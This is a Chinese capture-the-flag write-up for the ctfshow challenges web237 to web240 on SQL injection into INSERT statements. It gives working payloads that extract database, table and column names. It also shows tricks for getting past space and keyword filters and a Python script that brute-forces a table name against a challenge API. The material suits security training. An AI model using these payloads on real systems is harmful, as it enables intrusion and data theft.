ctfshow-web入门-sql注入(web237-web240)insert 注入
目录
1、web237
2、web238
3、web239
4、web240
1、web237
查询语句:
//插入数据
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
我们需要闭合单引号和括号
添加,查数据库名,payload:
1',database())#
payload 分析 ,将 payload 代入 sql 语句:
$sql = "insert into ctfshow_user(username,pass) value('1',database())#','1');";
实际插入的内容成了 1 和 database()
可以看到数据库名为 ctfshow_web
这里其实我在纠结 # 将后面内容都注释掉了,虽然单引号和括号都正确闭合了,但是 insert 前面单独的双引号不会报错吗?
注意,在这个语句中,insert 前面的双引号其实是 PHP 代码中的字符串起始符,SQL 引擎是不会看到这个双引号的,数据库只会看到去掉了 PHP 引号后的 SQL 语句。
因此,数据库实际接收到的是:
insert into ctfshow_user(username,pass) value('1',database())#','1');
执行时,# 后面的部分被注释掉,数据库只会执行:
insert into ctfshow_user(username,pass) value('1',database());
所以在 PHP 代码中,这样的双引号不会导致 SQL 错误。
接下来就可以继续查表名了:
1',(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'))#
注意整个 select 的查询语句使用括号包裹作为一个整体,否则会查询失败。
刷新后可以看到有一个名为 flag 的表:
查列名:
1',(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='flag'))#
刷新
查 flagass23s3:
1',(select flagass23s3 from flag))#
拿到 flag:ctfshow{5d8ff1bb-c086-4e84-8cb8-ff984ac58316}
2、web238
新增过滤空格
尝试内敛注释绕过,查表名:
1',(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()))#
不行,查询失败
1',(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()))#
又试了下 %09,也不行,显示插入成功但是没有回显结果
这里使用括号来绕过,就是将空格分隔的内容,部分使用括号包裹起来:
1',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))#
存在表名 flagb
查列名:
1',(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='flagb')))#
查 flag:
1',(select(flag)from(flagb)))#
拿到 flag:ctfshow{d55cc01f-873c-4918-8bf6-0720af6d49e0}
3、web239
过滤空格 or
同 web235 ,or 被过滤影响到 information_schema 库的使用,采用无列名注入。
查表名:
1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#
flagbb
查列名:
1',(select(group_concat(`2`))from((select(1,2,3)union(select*from(flagbb)))as(a))))#
这里括号用了太多,感觉有些应该都不符合 SQL 语法了,反正调了很久一直查询失败。
猜它的字段名就叫 flag:
1',(select(flag)from(flagbb)))#
拿到 flag:ctfshow{9f0be653-88e5-4b04-920c-82734eaa14df}
4、web240
过滤空格 or sys mysql
sys 和 mysql 都被过滤了,怎么查表名呢?
有提示表名:表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写
很明显我们是需要爆破表名的后五位。
看了一下,这里提交请求的位置还不是在之前的 api 接口:
这里提交的页面是一个叫 insert.php 的文件
但是直接对 insert.php 进行 post 提交发现没有回显
通过 burpsuite 抓包,发现这里正确的提交接口是 /api/insert.php
由于错误的表名也是会回显插入成功,因此并不能根据请求的响应来直接判断什么时候猜对了,这里我们可以根据下面这个页面的结果里是否出现了 "ctfshow" 来进行判断。
字段名我们还是猜测就是 flag
附上勇师傅的爆破脚本:
我们这里用 itertools 来生成所有可能的排列组合(笛卡尔积)
# @author:Myon
# @time:20240907
import requests
import itertools
url = 'http://f4ec01a1-a187-4ee8-8029-059c7b5ac62a.challenge.ctf.show/api/insert.php'
url2 = 'http://f4ec01a1-a187-4ee8-8029-059c7b5ac62a.challenge.ctf.show/api/?page=3&limit=10'
dic = itertools.product('ab',repeat=5)
for i in dic:
p = ''.join(i)
# print(p)
payload = {"username":f"1',(select(flag)from(flag{p})))#","password":"1"}
# print(payload)
re = requests.post(url, data=payload)
# print(re.text)
re2 = requests.get(url2)
if "ctfshow" in re2.text :
print(re2.text)
拿到 flag:ctfshow{874d8195-69f7-4308-b99e-1144741fe3bd}